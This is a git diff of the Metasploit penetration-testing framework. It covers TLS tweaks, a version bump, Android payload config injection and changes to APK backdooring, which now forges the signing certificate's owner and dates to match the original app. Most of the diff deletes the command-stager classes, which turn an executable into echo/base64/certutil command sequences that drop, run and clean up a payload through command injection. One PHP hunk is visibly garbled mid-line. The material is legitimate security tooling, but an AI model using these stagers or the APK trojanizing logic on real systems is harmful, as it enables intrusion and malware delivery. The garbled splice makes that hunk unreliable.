diff --git a/lib/metasploit/framework/mssql/tdssslproxy.rb b/lib/metasploit/framework/mssql/tdssslproxy.rb
index e48499d346..1e020c31bb 100644
--- a/lib/metasploit/framework/mssql/tdssslproxy.rb
+++ b/lib/metasploit/framework/mssql/tdssslproxy.rb
@@ -51,8 +51,9 @@ class TDSSSLProxy
def setup_ssl
@running = true
@t1 = Thread.start { ssl_setup_thread }
- ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
- @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
+ ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
+ ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
+ @ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx)
@ssl_socket.connect
end
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index de643afd12..5d3867c728 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
end
end
- VERSION = "4.12.33"
+ VERSION = "4.12.41"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb
index ddf1ca8fdf..af5510c5bf 100644
--- a/lib/msf/core/auxiliary/drdos.rb
+++ b/lib/msf/core/auxiliary/drdos.rb
@@ -46,7 +46,11 @@ module Auxiliary::DRDoS
bandwidth_amplification = total_size - request.size
if bandwidth_amplification > 0
vulnerable = true
- multiplier = total_size / request.size
+ if request.size == 0
+ multiplier = total_size
+ else
+ multiplier = total_size / request.size
+ end
this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification"
else
this_proof += 'no bandwidth amplification'
diff --git a/lib/msf/core/db_manager/import.rb b/lib/msf/core/db_manager/import.rb
index 8b994583b6..df0c27f7f5 100644
--- a/lib/msf/core/db_manager/import.rb
+++ b/lib/msf/core/db_manager/import.rb
@@ -85,10 +85,23 @@ module Msf::DBManager::Import
# import_file_detect will raise an error if the filetype
# is unknown.
def import(args={}, &block)
+ wspace = args[:wspace] || args['wspace'] || workspace
+ preserve_hosts = args[:task].options["DS_PRESERVE_HOSTS"] if args[:task].present? && args[:task].options.present?
+ wspace.update_attribute(:import_fingerprint, true)
+ existing_host_ids = wspace.hosts.map(&:id)
data = args[:data] || args['data']
ftype = import_filetype_detect(data)
yield(:filetype, @import_filedata[:type]) if block
self.send "import_#{ftype}".to_sym, args, &block
+ if preserve_hosts
+ new_host_ids = Mdm::Host.where(workspace: wspace).map(&:id)
+ (new_host_ids - existing_host_ids).each do |id|
+ Mdm::Host.where(id: id).first.normalize_os
+ end
+ else
+ Mdm::Host.where(workspace: wspace).each(&:normalize_os)
+ end
+ wspace.update_attribute(:import_fingerprint, false)
end
#
diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb
index 2ef57294de..c2cf9f4045 100644
--- a/lib/msf/core/exploit/cmdstager.rb
+++ b/lib/msf/core/exploit/cmdstager.rb
@@ -26,10 +26,10 @@ module Exploit::CmdStager
# Constant for decoders - used when checking the default flavor decoder.
DECODERS = {
- :debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"),
- :debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"),
- :vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"),
- :vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb")
+ :debug_asm => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_asm"),
+ :debug_write => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "debug_write"),
+ :vbs => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64"),
+ :vbs_adodb => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb")
}
attr_accessor :stager_instance
diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb
index ba24485608..b3f37e2c08 100644
--- a/lib/msf/core/exploit/smtp_deliver.rb
+++ b/lib/msf/core/exploit/smtp_deliver.rb
@@ -228,12 +228,9 @@ protected
end
def generate_ssl_context
- ctx = OpenSSL::SSL::SSLContext.new
- ctx.key = OpenSSL::PKey::RSA.new(1024){ }
-
- ctx.session_id_context = Rex::Text.rand_text(16)
-
- return ctx
+ ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
+ ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
+ ctx
end
end
diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb
index 2303bd8dbe..778e92856a 100644
--- a/lib/msf/core/payload/android.rb
+++ b/lib/msf/core/payload/android.rb
@@ -2,6 +2,7 @@
require 'msf/core'
require 'msf/core/payload/uuid/options'
require 'msf/core/payload/transport_config'
+require 'rex/payloads/meterpreter/config'
module Msf::Payload::Android
@@ -37,29 +38,15 @@ module Msf::Payload::Android
end
def apply_options(classes, opts)
- timeouts = [
- datastore['SessionExpirationTimeout'].to_s,
- datastore['SessionCommunicationTimeout'].to_s,
- datastore['SessionRetryTotal'].to_s,
- datastore['SessionRetryWait'].to_s
- ].join('-')
+ config = generate_config_bytes(opts)
if opts[:stageless]
- config = generate_config_hex(opts)
- string_sub(classes, 'UUUU' + ' ' * 8191, 'UUUU' + config)
+ config[0] = "\x01"
end
- if opts[:ssl]
- verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
- datastore['HandlerSSLCert'])
- if verify_cert_hash
- hash = 'WWWW' + verify_cert_hash.unpack("H*").first
- string_sub(classes, 'WWWW ', hash)
- end
- end
- string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + payload_uri)
- string_sub(classes, 'TTTT' + ' ' * 48, 'TTTT' + timeouts)
+
+ string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
end
- def generate_config_hex(opts={})
+ def generate_config_bytes(opts={})
opts[:uuid] ||= generate_payload_uuid
config_opts = {
@@ -71,11 +58,11 @@ module Msf::Payload::Android
}
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
- config.to_b.unpack('H*').first
+ config.to_b
end
def string_sub(data, placeholder="", input="")
- data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
+ data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
end
def sign_jar(jar)
diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb
index 75b5130ce1..ca7f7676a6 100644
--- a/lib/msf/core/payload/apk.rb
+++ b/lib/msf/core/payload/apk.rb
@@ -7,6 +7,7 @@ require 'nokogiri'
require 'fileutils'
require 'optparse'
require 'open3'
+require 'date'
class Msf::Payload::Apk
@@ -95,13 +96,34 @@ class Msf::Payload::Apk
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
end
- def backdoor_apk(apkfile, raw_payload)
+ def parse_orig_cert_data(orig_apkfile)
+ orig_cert_data = Array[]
+ keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}")
+ owner_line = keytool_output.match(/^Owner:.+/)[0]
+ orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
+ orig_cert_data.push("#{orig_cert_dname}")
+ valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
+ from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
+ to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
+ from_date = DateTime.parse("#{from_date_str}")
+ orig_cert_data.push(from_date.strftime("%Y/%m/%d %T"))
+ to_date = DateTime.parse("#{to_date_str}")
+ validity = (to_date - from_date).to_i
+ orig_cert_data.push("#{validity}")
+ return orig_cert_data
+ end
+ def backdoor_apk(apkfile, raw_payload)
unless apkfile && File.readable?(apkfile)
usage
raise RuntimeError, "Invalid template: #{apkfile}"
end
+ keytool = run_cmd("keytool")
+ unless keytool != nil
+ raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
+ end
+
jarsigner = run_cmd("jarsigner")
unless jarsigner != nil
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
@@ -122,20 +144,24 @@ class Msf::Payload::Apk
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
end
- unless File.readable?(File.expand_path("~/.android/debug.keystore"))
- android_dir = File.expand_path("~/.android/")
- unless File.directory?(android_dir)
- FileUtils::mkdir_p android_dir
- end
- print_status "Creating android debug keystore...\n"
- run_cmd("keytool -genkey -v -keystore ~/.android/debug.keystore \
- -alias androiddebugkey -storepass android -keypass android -keyalg RSA \
- -keysize 2048 -validity 10000 -dname 'CN=Android Debug,O=Android,C=US'")
- end
-
#Create temporary directory where work will be done
tempdir = Dir.mktmpdir
+ keystore = "#{tempdir}/signing.keystore"
+ storepass = "android"
+ keypass = "android"
+ keyalias = "signing.key"
+ orig_cert_data = parse_orig_cert_data(apkfile)
+ orig_cert_dname = orig_cert_data[0]
+ orig_cert_startdate = orig_cert_data[1]
+ orig_cert_validity = orig_cert_data[2]
+
+ print_status "Creating signing key and keystore..\n"
+ run_cmd("keytool -genkey -v -keystore #{keystore} \
+ -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \
+ -keysize 2048 -startdate '#{orig_cert_startdate}' \
+ -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'")
+
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
FileUtils.cp apkfile, "#{tempdir}/original.apk"
@@ -203,7 +229,7 @@ class Msf::Payload::Apk
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
print_status "Signing #{injected_apk}\n"
- run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
+ run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}")
print_status "Aligning #{injected_apk}\n"
run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb
index a7b494ce30..6940c3bb13 100644
--- a/lib/msf/core/payload/php.rb
+++ b/lib/msf/core/payload/php.rb
@@ -25,7 +25,7 @@ module Msf::Payload::Php
# Canonicalize the list of disabled functions to facilitate choosing a
# system-like function later.
- preamble = "
+ preamble = "/* 0)
- parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
- end
-
- parts
- end
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before / after it -- example "echo " and " >>file"
- #
- def parts_to_commands(parts, opts)
- # Return as-is
- parts
- end
-
-
-
- #
- # Generate the commands that will decode the file we just created
- #
- def generate_cmds_decoder(opts)
- # Defaults to no commands.
- []
- end
-
-
-
- #
- # Compress commands into as few lines as possible. Minimizes the number of
- # commands to execute while maximizing the number of commands per execution.
- #
- def compress_commands(cmds, opts)
- new_cmds = []
- line = ''
-
- concat = opts[:concat_operator] || cmd_concat_operator
-
- # We cannot compress commands if there is no way to combine commands on
- # a single line.
- return cmds unless concat
-
- cmds.each { |cmd|
-
- # If this command will fit, concat it and move on.
- if ((line.length + cmd.length + concat.length) < opts[:linemax])
- line << concat if line.length > 0
- line << cmd
- next
- end
-
- # The command wont fit concat'd to this line, if we have something,
- # we have to add it to the array now.
- if (line.length > 0)
- new_cmds << line
- line = ''
- end
-
- # If it won't fit even after emptying the current line, error out..
- if (cmd.length > opts[:linemax])
- raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
- end
-
- # It will indeed fit by itself, lets add it.
- line << cmd
-
- }
- new_cmds << line if (line.length > 0)
-
- # Return the final array.
- new_cmds
- end
-
- #
- # Can be overriden. For exmaple, use for unix use ";" instead
- #
- def cmd_concat_operator
- nil
- end
-
- # Should be overriden if the cmd stager needs to setup anything
- # before it's executed
- def setup(mod = nil)
-
- end
-
- #
- # Should be overriden if the cmd stager needs to do any clenaup
- #
- def teardown(mod = nil)
-
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb
deleted file mode 100644
index 6984c377e5..0000000000
--- a/lib/rex/exploitation/cmdstager/bourne.rb
+++ /dev/null
@@ -1,119 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-
-module Rex
-module Exploitation
-
-class CmdStagerBourne < CmdStagerBase
-
- def initialize(exe)
- super
-
- @var_encoded = Rex::Text.rand_text_alpha(5) + '.b64'
- @var_decoded = Rex::Text.rand_text_alpha(5)
- end
-
- def generate(opts = {})
- opts[:temp] = opts[:temp] || '/tmp/'
- opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/'
- opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/')
- opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
- opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
- if (opts[:file])
- @var_encoded = opts[:file] + '.b64'
- @var_decoded = opts[:file]
- end
- super
- end
-
- #
- # Override just to set the extra byte count
- #
- def generate_cmds(opts)
- # Set the start/end of the commands here (vs initialize) so we have @tempdir
- @cmd_start = "echo -n "
- @cmd_end = ">>'#{@tempdir}#{@var_encoded}'"
- xtra_len = @cmd_start.length + @cmd_end.length + 1
- opts.merge!({ :extra => xtra_len })
- super
- end
-
-
- #
- # Simple base64...
- #
- def encode_payload(opts)
- Rex::Text.encode_base64(@exe)
- end
-
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before / after it.
- #
- def parts_to_commands(parts, opts)
-
- cmds = []
- parts.each do |p|
- cmd = ''
- cmd << @cmd_start
- cmd << p
- cmd << @cmd_end
- cmds << cmd
- end
-
- cmds
- end
-
- #
- # Generate the commands that will decode the file we just created
- #
- def generate_cmds_decoder(opts)
- decoders = [
- "base64 --decode -",
- "openssl enc -d -A -base64 -in /dev/stdin",
- "python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
- "perl -MMIME::Base64 -ne 'print decode_base64($_)'"
- ]
- decoder_cmd = []
- decoders.each do |cmd|
- binary = cmd.split(' ')[0]
- decoder_cmd << "(which #{binary} >&2 && #{cmd})"
- end
- decoder_cmd = decoder_cmd.join(" || ")
- decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'"
- [ decoder_cmd ]
- end
-
- def compress_commands(cmds, opts)
- # Make it all happen
- cmds << "chmod +x '#{@tempdir}#{@var_decoded}'"
- # Background the process, allowing the cleanup code to continue and delete the data
- # while allowing the original shell to continue to function since it isn't waiting
- # on the payload to exit. The 'sleep' is required as '&' is a command terminator
- # and having & and the cmds delimiter ';' next to each other is invalid.
- if opts[:background]
- cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2"
- else
- cmds << "'#{@tempdir}#{@var_decoded}'"
- end
-
- # Clean up after unless requested not to..
- if (not opts[:nodelete])
- cmds << "rm -f '#{@tempdir}#{@var_decoded}'"
- cmds << "rm -f '#{@tempdir}#{@var_encoded}'"
- end
-
- super
- end
-
- def cmd_concat_operator
- " ; "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb
deleted file mode 100644
index 6bfc5b569a..0000000000
--- a/lib/rex/exploitation/cmdstager/certutil.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides the ability to create a sequence of commands from an executable.
-# When this sequence is ran via command injection or a shell, the resulting exe will
-# be written to disk and executed.
-#
-# This particular version uses Windows certutil to base64 decode a file,
-# created via echo >>, and decode it to the final binary.
-#
-#
-# Written by xistence
-# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
-#
-###
-
-class CmdStagerCertutil < CmdStagerBase
-
- def initialize(exe)
- super
-
- @var_encoded = Rex::Text.rand_text_alpha(5)
- @var_decoded = Rex::Text.rand_text_alpha(5)
- @decoder = nil # filled in later
- end
-
-
- # Override just to set the extra byte count
- # @param opts [Array] The options to generate the command line
- # @return [Array] The complete command line
- def generate_cmds(opts)
- # Set the start/end of the commands here (vs initialize) so we have @tempdir
- @cmd_start = "echo "
- @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
- xtra_len = @cmd_start.length + @cmd_end.length + 1
- opts.merge!({ :extra => xtra_len })
- super
- end
-
-
- # Simple base64 encoder for the executable
- # @param opts [Array] The options to generate the command line
- # @return [String] Base64 encoded executable
- def encode_payload(opts)
- Rex::Text.encode_base64(@exe)
- end
-
-
- # Combine the parts of the encoded file with the stuff that goes
- # before / after it.
- # @param parts [Array] Splitted commands
- # @param opts [Array] The options to generate the command line
- # @return [Array] The command line
- def parts_to_commands(parts, opts)
-
- cmds = []
- parts.each do |p|
- cmd = ''
- cmd << @cmd_start
- cmd << p
- cmd << @cmd_end
- cmds << cmd
- end
-
- cmds
- end
-
-
- # Generate the commands that will decode the file we just created
- # @param opts [Array] The options to generate the command line
- # @return [Array] The certutil Base64 decoder part of the command line
- def generate_cmds_decoder(opts)
-
- cmds = []
- cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
- return cmds
- end
-
-
- # We override compress commands just to stick in a few extra commands
- # last second..
- # @param cmds [Array] Complete command line
- # @param opts [Array] Extra options for command line generation
- # @return [Array] The complete command line including cleanup
- def compress_commands(cmds, opts)
- # Make it all happen
- cmds << "#{@tempdir}#{@var_decoded}.exe"
-
- # Clean up after unless requested not to..
- if (not opts[:nodelete])
- cmds << "del #{@tempdir}#{@var_encoded}.b64"
- # NOTE: We won't be able to delete the exe while it's in use.
- end
-
- super
- end
-
- # Windows uses & to concat strings
- #
- # @return [String] Concat operator
- def cmd_concat_operator
- " & "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/debug_asm.rb b/lib/rex/exploitation/cmdstager/debug_asm.rb
deleted file mode 100644
index e7556f8aa8..0000000000
--- a/lib/rex/exploitation/cmdstager/debug_asm.rb
+++ /dev/null
@@ -1,140 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides the ability to create a sequence of commands from an executable.
-# When this sequence is ran via command injection or a shell, the resulting exe will
-# be written to disk and executed.
-#
-# This particular version uses debug.exe to assemble a small COM file. The COM will
-# take a hex-ascii file, created via echo >>, and decode it to the final binary.
-#
-# Requires: debug.exe
-#
-# Written by Joshua J. Drake
-#
-###
-
-class CmdStagerDebugAsm < CmdStagerBase
-
- def initialize(exe)
- super
-
- @var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
- @var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
- @var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
- @var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
- @decoder = nil # filled in later
- end
-
-
- #
- # Override just to set the extra byte count
- #
- def generate_cmds(opts)
- # Set the start/end of the commands here (vs initialize) so we have @tempdir
- @cmd_start = "echo "
- @cmd_end = ">>#{@tempdir}#{@var_payload_in}"
- xtra_len = @cmd_start.length + @cmd_end.length + 1
- opts.merge!({ :extra => xtra_len })
- super
- end
-
-
- #
- # Simple hex encoding...
- #
- def encode_payload(opts)
- ret = @exe.unpack('H*')[0]
- end
-
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before / after it.
- #
- def parts_to_commands(parts, opts)
-
- cmds = []
- parts.each do |p|
- cmd = ''
- cmd << @cmd_start
- cmd << p
- cmd << @cmd_end
- cmds << cmd
- end
-
- cmds
- end
-
-
- #
- # Generate the commands that will decode the file we just created
- #
- def generate_cmds_decoder(opts)
-
- # Allow decoder stub override (needs to input base64 and output bin)
- @decoder = opts[:decoder] if (opts[:decoder])
-
- # Read the decoder data file
- f = File.new(@decoder, "rb")
- decoder = f.read(f.stat.size)
- f.close
-
- # Replace variables
- decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
- decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
- # NOTE: these two filenames MUST 8+3 chars long.
- decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
- decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
-
- # Split it apart by the lines
- decoder.split("\n")
- end
-
-
- #
- # We override compress commands just to stick in a few extra commands
- # last second..
- #
- def compress_commands(cmds, opts)
- # Convert the debug script to an executable...
- cvt_cmd = ''
- if (@tempdir != '')
- cvt_cmd << "cd %TEMP% && "
- end
- cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
- cmds << cvt_cmd
-
- # Convert the encoded payload...
- cmds << "#{@tempdir}#{@var_decoder_com}"
-
- # Make it all happen
- cmds << "start #{@tempdir}#{@var_payload_out}"
-
- # Clean up after unless requested not to..
- if (not opts[:nodelete])
- cmds << "del #{@tempdir}#{@var_decoder_asm}"
- cmds << "del #{@tempdir}#{@var_decoder_com}"
- cmds << "del #{@tempdir}#{@var_payload_in}"
- # XXX: We won't be able to delete the payload while it is running..
- end
-
- super
- end
-
- # Windows uses & to concat strings
- def cmd_concat_operator
- " & "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/debug_write.rb b/lib/rex/exploitation/cmdstager/debug_write.rb
deleted file mode 100644
index d7050bcba2..0000000000
--- a/lib/rex/exploitation/cmdstager/debug_write.rb
+++ /dev/null
@@ -1,134 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides the ability to create a sequence of commands from an executable.
-# When this sequence is ran via command injection or a shell, the resulting exe will
-# be written to disk and executed.
-#
-# This particular version uses debug.exe to write a small .NET binary. That binary will
-# take a hex-ascii file, created via echo >>, and decode it to the final binary.
-#
-# Requires: .NET, debug.exe
-#
-###
-
-class CmdStagerDebugWrite < CmdStagerBase
-
- def initialize(exe)
- super
-
- @var_bypass = Rex::Text.rand_text_alpha(8)
- @var_payload = Rex::Text.rand_text_alpha(8)
- @decoder = nil # filled in later
- end
-
-
- #
- # Override just to set the extra byte count
- #
- def generate_cmds(opts)
- # Set the start/end of the commands here (vs initialize) so we have @tempdir
- @cmd_start = "echo "
- @cmd_end = ">>#{@tempdir}#{@var_payload}"
- xtra_len = @cmd_start.length + @cmd_end.length + 1
- opts.merge!({ :extra => xtra_len })
- super
- end
-
-
- #
- # Simple hex encoding...
- #
- def encode_payload(opts)
- @exe.unpack('H*')[0]
- end
-
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before / after it.
- #
- def parts_to_commands(parts, opts)
-
- cmds = []
- parts.each do |p|
- cmd = ''
- cmd << @cmd_start
- cmd << p
- cmd << @cmd_end
- cmds << cmd
- end
-
- cmds
- end
-
-
- #
- # Generate the commands that will decode the file we just created
- #
- def generate_cmds_decoder(opts)
-
- # Allow decoder stub override (needs to input base64 and output bin)
- @decoder = opts[:decoder] if (opts[:decoder])
-
- # Read the decoder data file
- f = File.new(@decoder, "rb")
- decoder = f.read(f.stat.size)
- f.close
-
- # Replace variables
- decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
-
- # Split it apart by the lines
- decoder.split("\n")
- end
-
-
- #
- # We override compress commands just to stick in a few extra commands
- # last second..
- #
- def compress_commands(cmds, opts)
- # Convert the debug script to an executable...
- cvt_cmd = ''
- if (@tempdir != '')
- cvt_cmd << "cd %TEMP% && "
- end
- cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
- cmds << cvt_cmd
-
- # Rename the resulting binary
- cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
-
- # Converting the encoded payload...
- cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
-
- # Make it all happen
- cmds << "start #{@tempdir}#{@var_payload}.exe"
-
- # Clean up after unless requested not to..
- if (not opts[:nodelete])
- cmds << "del #{@tempdir}#{@var_bypass}.exe"
- cmds << "del #{@tempdir}#{@var_payload}"
- # XXX: We won't be able to delete the payload while it is running..
- end
-
- super
- end
-
- # Windows uses & to concat strings
- def cmd_concat_operator
- " & "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb
deleted file mode 100644
index a158b51971..0000000000
--- a/lib/rex/exploitation/cmdstager/echo.rb
+++ /dev/null
@@ -1,167 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-require 'shellwords'
-
-module Rex
-module Exploitation
-
-class CmdStagerEcho < CmdStagerBase
-
- ENCODINGS = {
- 'hex' => "\\\\x",
- 'octal' => "\\\\"
- }
-
- def initialize(exe)
- super
-
- @var_elf = Rex::Text.rand_text_alpha(5)
- end
-
- #
- # Override to ensure opts[:temp] is a correct *nix path
- # and initialize opts[:enc_format].
- #
- def generate(opts = {})
- opts[:temp] = opts[:temp] || '/tmp/'
-
- unless opts[:temp].empty?
- opts[:temp].gsub!(/\\/, '/')
- opts[:temp] = opts[:temp].shellescape
- opts[:temp] << '/' if opts[:temp][-1,1] != '/'
- end
-
- # by default use the 'hex' encoding
- opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s
-
- unless ENCODINGS.keys.include?(opts[:enc_format])
- raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
- end
-
- super
- end
-
- #
- # Override to set the extra byte count
- #
- def generate_cmds(opts)
- # Set the start/end of the commands here (vs initialize) so we have @tempdir
- @cmd_start = "echo "
- unless opts[:noargs]
- @cmd_start += "-en "
- end
-
- @cmd_end = ">>#{@tempdir}#{@var_elf}"
- xtra_len = @cmd_start.length + @cmd_end.length
- opts.merge!({ :extra => xtra_len })
-
- @prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
- min_part_size = 5 # for both encodings
-
- if (opts[:linemax] - opts[:extra]) < min_part_size
- raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
- end
-
- super
- end
-
-
- #
- # Encode into a format that echo understands, where
- # interpretation of backslash escapes are enabled. For
- # hex, it'll look like "\\x41\\x42", and octal will be
- # "\\101\\102\\5\\41"
- #
- def encode_payload(opts)
- case opts[:enc_format]
- when 'octal'
- return Rex::Text.to_octal(@exe, @prefix)
- else
- return Rex::Text.to_hex(@exe, @prefix)
- end
- end
-
-
- #
- # Combine the parts of the encoded file with the stuff that goes
- # before ("echo -en ") / after (">>file") it.
- #
- def parts_to_commands(parts, opts)
- parts.map do |p|
- cmd = ''
- cmd << @cmd_start
- cmd << p
- cmd << @cmd_end
- cmd
- end
- end
-
- #
- # Since the binary has been already dropped to fs, just execute and
- # delete it
- #
- def generate_cmds_decoder(opts)
- cmds = []
- # Make it all happen
- cmds << "chmod 777 #{@tempdir}#{@var_elf}"
- #cmds << "chmod +x #{@tempdir}#{@var_elf}"
- cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
-
- # Clean up after unless requested not to..
- unless opts[:nodelete]
- cmds << "rm -f #{@tempdir}#{@var_elf}"
- end
-
- return cmds
- end
-
- #
- # Override it to ensure that the hex representation of a byte isn't cut
- #
- def slice_up_payload(encoded, opts)
- encoded_dup = encoded.dup
-
- parts = []
- xtra_len = opts[:extra]
- xtra_len ||= 0
- while (encoded_dup.length > 0)
- temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
- # cut the end of the part until we reach the start
- # of a full byte representation "\\xYZ" or "\\YZX"
- temp = fix_last_byte(temp, opts, encoded_dup)
- parts << temp
- encoded_dup.slice!(0, temp.length)
- end
-
- parts
- end
-
- def fix_last_byte(part, opts, remaining="")
- fixed_part = part.dup
-
- case opts[:enc_format]
- when 'hex'
- while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
- fixed_part.chop!
- end
- when 'octal'
- if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
- pos = fixed_part.rindex('\\')
- pos -= 1 if fixed_part[pos-1] == '\\'
- fixed_part.slice!(pos..fixed_part.length-1)
- end
- end
-
- return fixed_part
- end
-
- def cmd_concat_operator
- " ; "
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb
deleted file mode 100644
index f0bbe60275..0000000000
--- a/lib/rex/exploitation/cmdstager/printf.rb
+++ /dev/null
@@ -1,122 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/text'
-require 'rex/arch'
-require 'msf/core/framework'
-require 'shellwords'
-
-module Rex
-module Exploitation
-
-class CmdStagerPrintf < CmdStagerBase
-
- def initialize(exe)
- super
-
- @var_elf = Rex::Text.rand_text_alpha(5)
- end
-
- #
- # Override to ensure opts[:temp] is a correct *nix path
- #
- def generate(opts = {})
- opts[:temp] = opts[:temp] || '/tmp/'
